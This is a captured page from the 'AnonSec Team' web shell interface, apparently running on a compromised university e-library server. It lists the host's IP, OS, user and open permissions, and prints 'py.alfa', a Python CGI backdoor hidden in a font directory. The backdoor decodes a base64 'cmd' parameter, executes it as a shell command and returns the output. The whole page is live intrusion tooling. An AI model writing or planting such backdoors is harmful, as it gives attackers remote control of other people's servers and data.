AnonSec Team
Server IP : 103.11.96.170  /  Your IP : 18.189.186.244
Web Server : Microsoft-IIS/10.0
System : Windows NT WIN-F6SLGVICLOP 10.0 build 17763 (Windows Server 2016) AMD64
User : elibrary.unsap.ac.id ( 0)
PHP Version : 7.4.19
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF
Directory (0777) :  D:/localhost/elibrary/repository/font/ALFA_DATA/alfacgiapi/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : D:/localhost/elibrary/repository/font/ALFA_DATA/alfacgiapi/py.alfa
#!/usr/bin/python
try:
	import cgitb; cgitb.enable()
except:
	pass
import os,cgi,base64
form = cgi.FieldStorage(environ={'REQUEST_METHOD':'POST'})
cmd = form.getvalue('cmd')
check = form.getvalue('check')
print "Content-type:text/html\r\n\r\n"
if cmd:
	print base64.b64decode(check)+"<pre>"
	child_stdin, child_stdout = os.popen2(base64.b64decode(cmd))
	child_stdin.close()
	result = child_stdout.read()
	child_stdout.close()
	print result.strip()
	print "</pre>"

AnonSec - 2021